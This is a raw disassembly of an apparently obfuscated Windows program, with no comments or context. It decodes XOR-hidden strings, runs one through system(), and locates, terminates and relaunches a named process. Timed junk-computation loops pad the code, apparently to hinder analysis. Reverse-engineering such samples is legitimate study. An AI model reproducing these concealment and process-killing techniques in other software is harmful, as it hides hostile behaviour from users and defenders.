mov qword [rbp - 8], rsi
lea rax, [rbp + 0xa0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400265e0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x20]
call fcn.14000cc40
nop
mov rbx, rsi
mov r14, qword [rbp - 8]
mov rdi, qword [rbp - 0x20]
mov r15, qword [rbp - 0x10]
test r15, r15
je 0x14002663f
nop
lea rdx, [rbp - 0x20]
cmp r14, 0xf
cmova rdx, rdi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140026610
cmp r14, 0xf
jbe 0x140026679
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140026671
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026671
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14008aef4
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x50], 0x3e2028
mov byte [rsp + 0x54], 1
mov rcx, rsi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x4b]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 3
jb 0x1400266b0
mov byte [rsp + 0x54], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1b34], 0xffffffff
mov dword [rbp + 0x7b4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x7b4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400266f0
mov dword [rbp + 0x7b0], 0x270
mov dword [rbp + 0x5648], esi
lea rcx, [rbp + 0x2c0]
call fcn.140021250
mov r15, qword [rbp + 0x2c0]
add r15, 0x5f5e100
mov esi, 1
mov r13d, 0x80000000
movabs r14, 0xb2f4fc0794908cf3
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140026770
imul rax, rcx, 0x64
jmp 0x1400267df
cmp rbx, 0x16e3600
jne 0x1400267c4
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1400267df
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x1400269ee
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0xc0], rax
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x138], rax
mov r14d, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0xc0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14002684a
nop word [rax + rax]
lea rcx, [rbp + 0xc0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026830
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, esi
lea rcx, [rbp + 0x138]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x1400268aa
cmp ecx, 0x64
jae 0x1400268aa
nop dword [rax]
lea rcx, [rbp + 0x138]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026890
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
add edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0x130]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x14002691e
cmp ecx, 0x64
jae 0x14002691e
lea rcx, [rbp + 0x130]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026904
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
imul edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x128]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14002699a
cmp edx, 0x64
jae 0x14002699a
nop dword [rax]
lea rcx, [rbp + 0x128]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x140026980
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5648]
sub eax, ecx
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], edx
sub r14, rsi
jne 0x140026810
jmp 0x140026747
mov eax, dword [rbp + 0x5648]
mov dword [0x1400f0630], eax
mov dword [rsp + 0x6c], 0x3a242009
mov dword [rsp + 0x70], 0x2a347e35
mov word [rsp + 0x74], gethostname
mov byte [rsp + 0x76], sil
xor esi, esi
mov ecx, esi
nop word [rax + rax]
lea eax, [rcx + 0x4b]
xor byte [rsp + rcx + 0x6c], al
inc rcx
cmp rcx, 9
jb 0x140026a20
mov byte [rsp + 0x76], sil
mov rdx, qword [0x1400f0640]
lea rcx, [rsp + 0x6c]
call fcn.140019410
mov r12d, eax
test eax, eax
jne 0x140026d39
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x38]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x38]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.1400134f0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x90]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x80]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x80]
call fcn.140017650
movups xmm0, xmmword [str.p__AL]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400935a0]
movups xmmword [rbp - 0x40], xmm1
movsd xmm0, qword [0x1400935b0]
movsd qword [rbp - 0x30], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140026c4a
movdqa xmm5, xmmword [0x140094cf0]
mov edx, esi
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x4c]
mov r8d, dword [rbp - 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140026b43
jmp 0x140026c93
lea r9, [rbp - 0x50]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140026c60
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140026cb0
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000cc40
nop
mov rbx, qword [rbp - 8]
mov rdi, qword [rbp - 0x20]
mov r14, qword [rbp - 0x10]
test r14, r14
je 0x140026d0f
nop dword [rax]
lea rdx, [rbp - 0x20]
cmp rbx, 0xf
cmova rdx, rdi
movzx edx, byte [rdx + rsi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rsi
cmp rsi, r14
jne 0x140026ce0
cmp rbx, 0xf
jbe 0x140026d24
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14001bfc0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xffffffff
jmp 0x140028cf0
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x2ec4], 0xffffffff
mov dword [rbp + 0x1b44], eax
mov edx, 1
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1b44], eax
inc rdx
cmp rdx, 0x270
jb 0x140026d60
mov dword [rbp + 0x1b40], 0x270
mov dword [rbp + 0x5648], esi
lea rcx, [rbp + 0x290]
call fcn.140021250
mov r15, qword [rbp + 0x290]
add r15, 0x5f5e100
mov esi, 1
mov r13d, 0x80000000
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140026dd6
imul rax, rcx, 0x64
jmp 0x140026e45
cmp rbx, 0x16e3600
jne 0x140026e2a
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140026e45
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140027058
lea rax, [rbp + 0x1b40]
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0x1b40]
mov qword [rbp + 0x110], rax
mov r14d, 0x186a0
lea rcx, [rbp + 0x118]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x140026eaa
nop word [rax + rax]
lea rcx, [rbp + 0x118]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026e90
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, esi
lea rcx, [rbp + 0x110]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x140026f0a
cmp ecx, 0x64
jae 0x140026f0a
nop dword [rax]
lea rcx, [rbp + 0x110]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026ef0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
add edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x1b40]
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x108]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x140026f7e
cmp ecx, 0x64
jae 0x140026f7e
lea rcx, [rbp + 0x108]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140026f64
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
imul edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x1b40]
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x120]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x140026ffa
cmp edx, 0x64
jae 0x140026ffa
nop dword [rax]
lea rcx, [rbp + 0x120]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x140026fe0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5648]
sub eax, ecx
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], edx
sub r14, rsi
jne 0x140026e70
movabs r14, 0xb2f4fc0794908cf3
jmp 0x140026db7
mov eax, dword [rbp + 0x5648]
mov dword [0x1400f0630], eax
mov ecx, r12d
call fcn.1400194e0
test al, al
mov esi, 0
jne 0x1400275dd
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x460]
call fcn.1400154e0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x460]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140092b54]
lea rcx, [rbp + 0x470]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x470]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x480]
call fcn.1400154e0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x480]
call fcn.140017650
movups xmm0, xmmword [0x1400935b8]
movups xmmword [rbp + 0x388], xmm0
movups xmm1, xmmword [0x1400935c8]
movups xmmword [rbp + 0x398], xmm1
movsd xmm0, qword [0x1400935d8]
movsd qword [rbp + 0x3a8], xmm0
movzx eax, word [0x1400935e0]
mov word [rbp + 0x3b0], ax
movzx eax, byte [0x1400935e2]
mov byte [rbp + 0x3b2], al
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400272ad
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x38c]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400271a0
cmp r8d, 0x2b
jge 0x1400272f3
movsxd rax, r8d
lea r9, [rbp + 0x388]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400272c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], rsi
lea rax, [rbp + 0x388]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140027320
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x140]
call fcn.14000cc40
nop
mov rbx, rsi
mov rdi, qword [rbp + 0x158]
mov r15, qword [rbp + 0x140]
mov r14, qword [rbp + 0x150]
test r14, r14
je 0x140027392
nop dword [rax + rax]
lea rdx, [rbp + 0x140]
cmp rdi, 0xf
cmova rdx, r15
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140027360
cmp rdi, 0xf
jbe 0x1400273aa
mov r8, rdi
mov rdx, r15
lea rcx, [rbp + 0x140]
call fcn.14001bfc0
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
lea r14, [rbp + 0x5628]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], r14
mov rbx, qword [r14]
mov rax, rbx
xor rax, rcx
mov qword [rbp + 0x2a0], rax
mov qword [r14], rsi
mov r8d, r12d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14002746e
mov dword [rbp + 0x70], 0x104
lea r9, [rbp + 0x70]
lea r8, [rbp + 0x5a0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
mov rcx, rdi
test eax, eax
je 0x140027468
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
lea rax, [rbp + 0x5a0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140027454
lea rdx, [rbp + 0x5a0]
jmp 0x140027487
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm1, xmm1
xorps xmm0, xmm0
lea rdx, [0x140092c70]
xor r8d, r8d
movdqu xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call fcn.14000cd50
mov dword [rsp + 0x58], reloc.WS2_32.dll_recv
mov qword [rbp + 0x2a0], rbx
mov qword [r14], rbx
lea rbx, [rbp + 0x5628]
mov r14, qword [rbx]
mov qword [rbx], rsi
mov r8d, r12d
xor edx, edx
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400274df
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], r14
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x5628]
mov rdi, qword [rax]
mov qword [rax], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
movups xmmword [rbp + 0x560], xmm0
movups xmmword [rbp + 0x570], xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], rax
movups xmmword [rbp + 0x3b8], xmm0
mov qword [rbp + 0x3c8], rax
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rdx, qword [rbp + 0x50]
lea rax, [rbp + 0x3b8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x530]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400275a6
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rdi
mov r8, qword [rbp + 0x68]
cmp r8, 7
jbe 0x1400275c0
mov rdx, qword [rbp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.14001c000
movdqa xmm0, xmmword [0x140094c60]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], si
movabs r14, 0xb2f4fc0794908cf3
jmp 0x1400275e3
mov r15d, 1
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x77], 0x3a242009
mov dword [rsp + 0x7b], 0x2a347e35
mov word [rsp + 0x7f], gethostname
mov byte [rbp - 0x7f], 1
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x4b]
xor byte [rsp + rcx + 0x77], al
inc rcx
cmp rcx, 9
jb 0x140027610
mov byte [rbp - 0x7f], 0
mov rdx, qword [0x1400f0640]
lea rcx, [rsp + 0x77]
call fcn.140019410
mov r12d, eax
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x4254], 0xffffffff
mov dword [rbp + 0x2ed4], eax
mov rdx, r15
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x2ed4], eax
inc rdx
cmp rdx, 0x270
jb 0x140027650
mov dword [rbp + 0x2ed0], 0x270
mov dword [rbp + 0x5648], esi
lea rcx, [rbp + 0x288]
call fcn.140021250
mov r15, qword [rbp + 0x288]
add r15, 0x5f5e100
mov esi, 1
mov r13d, 0x80000000
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400276c6
imul rax, rcx, 0x64
jmp 0x140027735
cmp rbx, 0x16e3600
jne 0x14002771a
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140027735
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140027948
lea rax, [rbp + 0x2ed0]
mov qword [rbp + 0x100], rax
lea rax, [rbp + 0x2ed0]
mov qword [rbp + 0xf8], rax
mov r14d, 0x186a0
lea rcx, [rbp + 0x100]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14002779a
nop word [rax + rax]
lea rcx, [rbp + 0x100]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140027780
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, esi
lea rcx, [rbp + 0xf8]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x1400277fa
cmp ecx, 0x64
jae 0x1400277fa
nop dword [rax]
lea rcx, [rbp + 0xf8]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x1400277e0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
add edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x2ed0]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x14002786e
cmp ecx, 0x64
jae 0x14002786e
lea rcx, [rbp + 0xf0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140027854
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
imul edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x2ed0]
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0xe8]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x1400278ea
cmp edx, 0x64
jae 0x1400278ea
nop dword [rax]
lea rcx, [rbp + 0xe8]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x1400278d0
